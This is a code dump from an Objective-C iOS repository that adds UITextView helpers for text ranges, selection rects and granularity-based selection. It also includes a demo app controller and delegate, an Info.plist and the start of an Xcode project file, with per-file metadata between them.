NSUInteger length = [self offsetFromPosition:textRange.start toPosition:textRange.end]; return NSMakeRange(location,length); } // // Convert the textRange (above) and calculate the selection rects // -(NSArray*)textSelectionRectsForRange:(NSRange)range{ UITextRange* textRange = [self textRangeForRange:range]; NSArray* rects = [self selectionRectsForRange:textRange]; return rects; } // // Calculate the positions using the origin of the passed rect // and 'lower right corner of the rect -> create a NSRange from the result // -(NSRange)rangeOfSubstringRangeBoundByRect:(CGRect)rect{ UITextPosition* start = [self closestPositionToPoint:rect.origin]; UITextPosition* end = [self closestPositionToPoint:CGPointMake(CGRectGetMaxX(rect),CGRectGetMaxY(rect))]; return NSMakeRange([self offsetFromPosition:self.beginningOfDocument toPosition:start], [self offsetFromPosition:start toPosition:end]); } #pragma mark - Granularity // // Private method to calculate the next UITextPosition from a given positiom // and direction // -(UITextPosition*)_nextPositionWithGranularity:(UITextGranularity)granularity fromPosition:(UITextPosition*)pos inDirection:(UITextStorageDirection)direction{ UITextPosition* nextPos = [self.tokenizer positionFromPosition:pos toBoundary:granularity inDirection:direction]; BOOL result = [self.tokenizer isPosition:nextPos withinTextUnit:granularity inDirection:direction]; // loops through the tokenizer for the next position while (!result) { nextPos = [self.tokenizer positionFromPosition:nextPos toBoundary:granularity inDirection:direction]; // is the position the granularity we want result = [self.tokenizer isPosition:nextPos withinTextUnit:granularity inDirection:direction]; // TODO: confirm end and beginning of document behavior (ifinite loop) } return nextPos; } // // Calculate the position and enclosing textRange -> conver the UITextRange to NSRange // -(NSRange)rangeWithGranularity:(UITextGranularity)granularity atPoint:(CGPoint)pt{ UITextPosition* pos = [self closestPositionToPoint:pt]; id<UITextInputTokenizer> tokenizer =self.tokenizer; UITextRange* textRange = [tokenizer rangeEnclosingPosition:pos withGranularity:granularity inDirection:UITextWritingDirectionLeftToRight]; if(textRange){ return [self rangeForTextRange:textRange]; } else{ return NSMakeRange(0,0); } } // // Calculate the postion at the passed Index, positions and their textRange // convert to an NSRange // -(NSRange)nextRangeWithGranularity:(UITextGranularity)granularity fromIndex:(NSUInteger)idx inDirection:(UITextStorageDirection)direction{ UITextPosition* pos = [self positionFromPosition:self.beginningOfDocument offset:idx]; // the passed index is <0 or greater than the length if(!pos) return NSMakeRange(0,0); UITextPosition* fromPos = [self _nextPositionWithGranularity:granularity fromPosition:pos inDirection:direction]; UITextPosition* toPos = [self.tokenizer positionFromPosition:fromPos toBoundary:granularity inDirection:direction]; UITextRange* textRange = [self textRangeFromPosition:fromPos toPosition:toPos]; return [self rangeForTextRange:textRange]; } @end
10,609
UITextView+Extras
m
en
limbo
code
{"qsc_code_num_words": 885, "qsc_code_num_chars": 10609.0, "qsc_code_mean_word_length": 7.74350282, "qsc_code_frac_words_unique": 0.26327684, "qsc_code_frac_chars_top_2grams": 0.01459215, "qsc_code_frac_chars_top_3grams": 0.02145046, "qsc_code_frac_chars_top_4grams": 0.01896979, "qsc_code_frac_chars_dupe_5grams": 0.36100978, "qsc_code_frac_chars_dupe_6grams": 0.32817744, "qsc_code_frac_chars_dupe_7grams": 0.3204436, "qsc_code_frac_chars_dupe_8grams": 0.28746534, "qsc_code_frac_chars_dupe_9grams": 0.28746534, "qsc_code_frac_chars_dupe_10grams": 0.21377499, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00390472, "qsc_code_frac_chars_whitespace": 0.27580356, "qsc_code_size_file_byte": 10609.0, "qsc_code_num_lines": 324.0, "qsc_code_num_chars_line_max": 101.0, "qsc_code_num_chars_line_mean": 32.74382716, "qsc_code_frac_chars_alphabet": 0.88806456, "qsc_code_frac_chars_comments": 0.03365067, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.45338983, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00039017, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
00StevenG/UITextViewExtras
UITextView+Extras.h
// // UITextView+Extras.h // RichText // // Created by Steven Grace on 2/7/13. // Copyright (c) 2013 Steven Grace. All rights reserved. // // UITextView catagories assume // :UITextStorageDirectionForward // :UITextWritingDirectionLeftToRight // // #import <UIKit/UIKit.h> @interface UITextView (Extras) // the selection color used by UIKit for text selection +(UIColor*)defaultSelectionColor; // NSRange and UITextRange conversion -(UITextRange*)textRangeForRange:(NSRange)range; -(NSRange)rangeForTextRange:(UITextRange*)textRange; // returns an array of text UITextSelectionRects for an given range -(NSArray*)textSelectionRectsForRange:(NSRange)range; // the following methods return paths (via CGPath Mutation Methods) assembled from UITextSelectionRects -(UIBezierPath*)selectionPathWithGranularity:(UITextGranularity)granularity atPoint:(CGPoint)pt; -(UIBezierPath*)selectionPathWithGranularity:(UITextGranularity)granularity atIndex:(NSUInteger)idx; -(UIBezierPath*)pathForRange:(NSRange)range; // quick method -assembles the path calculates bounding rect -(CGRect)boundingRectForRange:(NSRange)range; // caret rects returns CGRectNull if the the passed index is an invalid string index -(CGRect)caretRectForStringIndex:(NSUInteger)idx; -(CGRect)caretRectClosestToPoint:(CGPoint)pt; // returns the stirng index -(NSUInteger)closestCharacterIndexToPoint:(CGPoint)pt; // hit testing using the array of UITextSelectionRects -(BOOL)pointInside:(CGPoint)point inRange:(NSRange)range; // returns a substring with passed granularity or nil if not found at the point -(NSString*)substringWithGranularity:(UITextGranularity)granularity atPoint:(CGPoint)pt; // returns the range in the string at a given point or zero length range if not found -(NSRange)rangeWithGranularity:(UITextGranularity)granularity atPoint:(CGPoint)pt; // returns the range bound by a given CGRect // cauculated using the caret positions and CGrectGetMax x/y functions // NOTE: This works for Left to right writing -(NSRange)rangeOfSubstringRangeBoundByRect:(CGRect)rect; // returns the substring range for a given granularity // from a given index 'searching' direction -(NSRange)nextRangeWithGranularity:(UITextGranularity)granularity fromIndex:(NSUInteger)idx inDirection:(UITextStorageDirection)direction; @end
2,361
UITextView+Extras
h
en
c
code
{"qsc_code_num_words": 255, "qsc_code_num_chars": 2361.0, "qsc_code_mean_word_length": 7.26666667, "qsc_code_frac_words_unique": 0.5254902, "qsc_code_frac_chars_top_2grams": 0.03237992, "qsc_code_frac_chars_top_3grams": 0.05666487, "qsc_code_frac_chars_top_4grams": 0.06799784, "qsc_code_frac_chars_dupe_5grams": 0.0874258, "qsc_code_frac_chars_dupe_6grams": 0.06368052, "qsc_code_frac_chars_dupe_7grams": 0.06368052, "qsc_code_frac_chars_dupe_8grams": 0.06368052, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.003861, "qsc_code_frac_chars_whitespace": 0.12240576, "qsc_code_size_file_byte": 2361.0, "qsc_code_num_lines": 65.0, "qsc_code_num_chars_line_max": 104.0, "qsc_code_num_chars_line_mean": 36.32307692, "qsc_code_frac_chars_alphabet": 0.89044402, "qsc_code_frac_chars_comments": 0.49978823, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.0, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
00StevenG/UITextViewExtras
SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemoController.m
// // SLGViewController.m // SLGUITextViewExtrasDemo // // Created by Steven Grace on 8/7/13. // Copyright (c) 2013 Steven Grace. All rights reserved. // #import "SLGUITextViewExtrasDemoController.h" #import "UITextView+Extras.h" @interface SLGUITextViewExtrasDemoController () <UITextViewDelegate> @end @implementation SLGUITextViewExtrasDemoController{ UIView* _selectionView; } #pragma mark - ScrollView Delegate - (void)scrollViewDidScroll:(UIScrollView *)scrollView{ [UIView animateWithDuration:.35 animations:^{ _selectionView.frame = CGRectZero; }]; } #pragma mark - View Lifecycle - (void)viewDidLoad { [super viewDidLoad]; _textView.editable = NO; _textView.delegate = self; _textView.attributedText = [[NSAttributedString alloc]initWithString:@"Donec placerat. Nullam nibh dolor, blandit sed, fermentum id, imperdiet sit amet, neque. Nam mollis ultrices justo. Sed tempor. Sed vitae tellus. Etiam sem arcu, eleifend sit amet, gravida eget, porta at, wisi. Nam non lacus vitae ipsum viverra pretium. Phasellus massa. Fusce magna sem, gravida in, feugiat ac, molestie eget, wisi. Fusce consectetuer luctus ipsum. Vestibulum nunc. Suspendisse dignissim adipiscing libero. Integer leo. Sed pharetra ligula a dui. Quisque ipsum nibh, ullamcorper eget, pulvinar sed, posuere vitae, nulla. Sed varius nibh ut lacus. Curabitur fringilla. Nunc est ipsum, pretium quis, dapibus sed, varius non, lectus. Proin a quam. Praesent lacinia, eros quis aliquam porttitor, urna lacus volutpat urna, ut fermentum neque mi egestas dolor.\n Donec placerat. Nullam nibh dolor, blandit sed, fermentum id, imperdiet sit amet, neque. Nam mollis ultrices justo. Sed tempor. Sed vitae tellus. Etiam sem arcu, eleifend sit amet, gravida eget, porta at, wisi. Nam non lacus vitae ipsum viverra pretium. Phasellus massa. Fusce magna sem, gravida in, feugiat ac, molestie eget, wisi. Fusce consectetuer luctus ipsum. Vestibulum nunc. Suspendisse dignissim adipiscing libero. Integer leo. Sed pharetra ligula a dui. Quisque ipsum nibh, ullamcorper eget, pulvinar sed, posuere vitae, nulla. Sed varius nibh ut lacus. Curabitur fringilla. Nunc est ipsum, pretium quis, dapibus sed, varius non, lectus. Proin a quam. Praesent lacinia, eros quis aliquam porttitor, urna lacus volutpat urna, ut fermentum neque mi egestas dolor.\n Donec placerat. Nullam nibh dolor, blandit sed, fermentum id, imperdiet sit amet, neque. Nam mollis ultrices justo. Sed tempor. Sed vitae tellus. Etiam sem arcu, eleifend sit amet, gravida eget, porta at, wisi. Nam non lacus vitae ipsum viverra pretium. Phasellus massa. Fusce magna sem, gravida in, feugiat ac, molestie eget, wisi. Fusce consectetuer luctus ipsum. Vestibulum nunc. Suspendisse dignissim adipiscing libero. Integer leo. Sed pharetra ligula a dui. Quisque ipsum nibh, ullamcorper eget, pulvinar sed, posuere vitae, nulla. Sed varius nibh ut lacus. Curabitur fringilla. Nunc est ipsum, pretium quis, dapibus sed, varius non, lectus. Proin a quam. Praesent lacinia, eros quis aliquam porttitor, urna lacus volutpat urna, ut fermentum neque mi egestas dolor. \n Donec placerat. Nullam nibh dolor, blandit sed, fermentum id, imperdiet sit amet, neque. Nam mollis ultrices justo. Sed tempor. Sed vitae tellus. Etiam sem arcu, eleifend sit amet, gravida eget, porta at, wisi. Nam non lacus vitae ipsum viverra pretium. Phasellus massa. Fusce magna sem, gravida in, feugiat ac, molestie eget, wisi. Fusce consectetuer luctus ipsum. Vestibulum nunc. Suspendisse dignissim adipiscing libero. Integer leo. Sed pharetra ligula a dui. Quisque ipsum nibh, ullamcorper eget, pulvinar sed, posuere vitae, nulla. Sed varius nibh ut lacus. Curabitur fringilla. Nunc est ipsum, pretium quis, dapibus sed, varius non, lectus. Proin a quam. Praesent lacinia, eros quis aliquam porttitor, urna lacus volutpat urna, ut fermentum neque mi egestas dolor."]; _selectionView = [[UIView alloc]initWithFrame:CGRectZero]; _selectionView.layer.borderColor = [UIColor blueColor].CGColor; _selectionView.layer.borderWidth = 2; _selectionView.layer.cornerRadius = 3; [self.view addSubview:_selectionView]; UITapGestureRecognizer* tap = [[UITapGestureRecognizer alloc]initWithTarget:self action:@selector(_handleTap:)]; [self.view addGestureRecognizer:tap]; } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; } #pragma mark - Gesture Handling -(void)_handleTap:(UITapGestureRecognizer*)tap{ if(tap.state == UIGestureRecognizerStateRecognized){ CGPoint tappedPoint = [tap locationInView:_textView]; NSUInteger idx = [_textView closestCharacterIndexToPoint:tappedPoint]; UITextGranularity granularity =_granularityControl.selectedSegmentIndex; UIBezierPath* selectionPathInTextView = [_textView selectionPathWithGranularity:granularity atIndex:idx]; [UIView animateWithDuration:.35 animations:^{ CGRect newFrame = CGPathGetPathBoundingBox(selectionPathInTextView.CGPath); _selectionView.frame = [self.view convertRect:newFrame fromView:_textView]; }]; } } @end
5,418
SLGUITextViewExtrasDemoController
m
en
limbo
code
{"qsc_code_num_words": 622, "qsc_code_num_chars": 5418.0, "qsc_code_mean_word_length": 6.3585209, "qsc_code_frac_words_unique": 0.28456592, "qsc_code_frac_chars_top_2grams": 0.01415929, "qsc_code_frac_chars_top_3grams": 0.01921618, "qsc_code_frac_chars_top_4grams": 0.02326169, "qsc_code_frac_chars_dupe_5grams": 0.62174463, "qsc_code_frac_chars_dupe_6grams": 0.62174463, "qsc_code_frac_chars_dupe_7grams": 0.62174463, "qsc_code_frac_chars_dupe_8grams": 0.62174463, "qsc_code_frac_chars_dupe_9grams": 0.62174463, "qsc_code_frac_chars_dupe_10grams": 0.62174463, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00321543, "qsc_code_frac_chars_whitespace": 0.19638243, "qsc_code_size_file_byte": 5418.0, "qsc_code_num_lines": 87.0, "qsc_code_num_chars_line_max": 3173.0, "qsc_code_num_chars_line_mean": 62.27586207, "qsc_code_frac_chars_alphabet": 0.90514469, "qsc_code_frac_chars_comments": 0.0319306, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.21568627, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.01960784, "qsc_code_frac_chars_string_length": 0.58989514, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 1, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
00StevenG/UITextViewExtras
SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemoAppDelegate.m
// // SLGAppDelegate.m // SLGUITextViewExtrasDemo // // Created by Steven Grace on 8/7/13. // Copyright (c) 2013 Steven Grace. All rights reserved. // #import "SLGUITextViewExtrasDemoAppDelegate.h" #import "SLGUITextViewExtrasDemoController.h" @implementation SLGUITextViewExtrasDemoAppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]]; // Override point for customization after application launch. if ([[UIDevice currentDevice] userInterfaceIdiom] == UIUserInterfaceIdiomPhone) { self.viewController = [[SLGUITextViewExtrasDemoController alloc] initWithNibName:@"SLGUITextViewExtrasDemo_iPhone" bundle:nil]; } else { self.viewController = [[SLGUITextViewExtrasDemoController alloc] initWithNibName:@"SLGUITextViewExtrasDemo_iPad" bundle:nil]; } self.window.rootViewController = self.viewController; [self.window makeKeyAndVisible]; return YES; } - (void)applicationWillResignActive:(UIApplication *)application { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game. } - (void)applicationDidEnterBackground:(UIApplication *)application { // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. } - (void)applicationWillEnterForeground:(UIApplication *)application { // Called as part of the transition from the background to the inactive state; here you can undo many of the changes made on entering the background. } - (void)applicationDidBecomeActive:(UIApplication *)application { // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. } - (void)applicationWillTerminate:(UIApplication *)application { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } @end
2,666
SLGUITextViewExtrasDemoAppDelegate
m
en
limbo
code
{"qsc_code_num_words": 294, "qsc_code_num_chars": 2666.0, "qsc_code_mean_word_length": 7.06802721, "qsc_code_frac_words_unique": 0.55442177, "qsc_code_frac_chars_top_2grams": 0.0692974, "qsc_code_frac_chars_top_3grams": 0.01876805, "qsc_code_frac_chars_top_4grams": 0.02165544, "qsc_code_frac_chars_dupe_5grams": 0.13570741, "qsc_code_frac_chars_dupe_6grams": 0.11645813, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00352268, "qsc_code_frac_chars_whitespace": 0.14816204, "qsc_code_size_file_byte": 2666.0, "qsc_code_num_lines": 56.0, "qsc_code_num_chars_line_max": 282.0, "qsc_code_num_chars_line_mean": 47.60714286, "qsc_code_frac_chars_alphabet": 0.91149273, "qsc_code_frac_chars_comments": 0.03488372, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.06818182, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02254178, "qsc_code_frac_chars_long_word_length": 0.02254178, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
00StevenG/UITextViewExtras
SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo-Info.plist
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleDisplayName</key> <string>${PRODUCT_NAME}</string> <key>CFBundleExecutable</key> <string>${EXECUTABLE_NAME}</string> <key>CFBundleIdentifier</key> <string>com.works5.com.${PRODUCT_NAME:rfc1034identifier}</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>${PRODUCT_NAME}</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleVersion</key> <string>1.0</string> <key>LSRequiresIPhoneOS</key> <true/> <key>UIRequiredDeviceCapabilities</key> <array> <string>armv7</string> </array> <key>UISupportedInterfaceOrientations</key> <array> <string>UIInterfaceOrientationPortrait</string> <string>UIInterfaceOrientationLandscapeLeft</string> <string>UIInterfaceOrientationLandscapeRight</string> </array> <key>UISupportedInterfaceOrientations~ipad</key> <array> <string>UIInterfaceOrientationPortrait</string> <string>UIInterfaceOrientationPortraitUpsideDown</string> <string>UIInterfaceOrientationLandscapeLeft</string> <string>UIInterfaceOrientationLandscapeRight</string> </array> </dict> </plist>
1,461
SLGUITextViewExtrasDemo-Info
plist
en
openstep property list
data
{"qsc_code_num_words": 146, "qsc_code_num_chars": 1461.0, "qsc_code_mean_word_length": 7.55479452, "qsc_code_frac_words_unique": 0.33561644, "qsc_code_frac_chars_top_2grams": 0.08159565, "qsc_code_frac_chars_top_3grams": 0.03535811, "qsc_code_frac_chars_top_4grams": 0.03626473, "qsc_code_frac_chars_dupe_5grams": 0.37171351, "qsc_code_frac_chars_dupe_6grams": 0.37171351, "qsc_code_frac_chars_dupe_7grams": 0.19220308, "qsc_code_frac_chars_dupe_8grams": 0.19220308, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01544118, "qsc_code_frac_chars_whitespace": 0.06913073, "qsc_code_size_file_byte": 1461.0, "qsc_code_num_lines": 45.0, "qsc_code_num_chars_line_max": 103.0, "qsc_code_num_chars_line_mean": 32.46666667, "qsc_code_frac_chars_alphabet": 0.79558824, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.35555556, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.05749487, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
00StevenG/UITextViewExtras
SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo.xcodeproj/project.pbxproj
// !$*UTF8*$! { archiveVersion = 1; classes = { }; objectVersion = 46; objects = { /* Begin PBXBuildFile section */ E9D4678B17B2A1830060FE91 /* UIKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = E9D4678A17B2A1830060FE91 /* UIKit.framework */; }; E9D4678D17B2A1830060FE91 /* Foundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = E9D4678C17B2A1830060FE91 /* Foundation.framework */; }; E9D4678F17B2A1830060FE91 /* CoreGraphics.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = E9D4678E17B2A1830060FE91 /* CoreGraphics.framework */; }; E9D4679517B2A1830060FE91 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = E9D4679317B2A1830060FE91 /* InfoPlist.strings */; }; E9D4679717B2A1830060FE91 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = E9D4679617B2A1830060FE91 /* main.m */; }; E9D4679B17B2A1830060FE91 /* SLGUITextViewExtrasDemoAppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = E9D4679A17B2A1830060FE91 /* SLGUITextViewExtrasDemoAppDelegate.m */; }; E9D4679D17B2A1830060FE91 /* Default.png in Resources */ = {isa = PBXBuildFile; fileRef = E9D4679C17B2A1830060FE91 /* Default.png */; }; E9D4679F17B2A1830060FE91 /* Default@2x.png in Resources */ = {isa = PBXBuildFile; fileRef = E9D4679E17B2A1830060FE91 /* Default@2x.png */; }; E9D467A117B2A1830060FE91 /* Default-568h@2x.png in Resources */ = {isa = PBXBuildFile; fileRef = E9D467A017B2A1830060FE91 /* Default-568h@2x.png */; }; E9D467A417B2A1830060FE91 /* SLGUITextViewExtrasDemoController.m in Sources */ = {isa = PBXBuildFile; fileRef = E9D467A317B2A1830060FE91 /* SLGUITextViewExtrasDemoController.m */; }; E9D467A717B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPhone.xib in Resources */ = {isa = PBXBuildFile; fileRef = 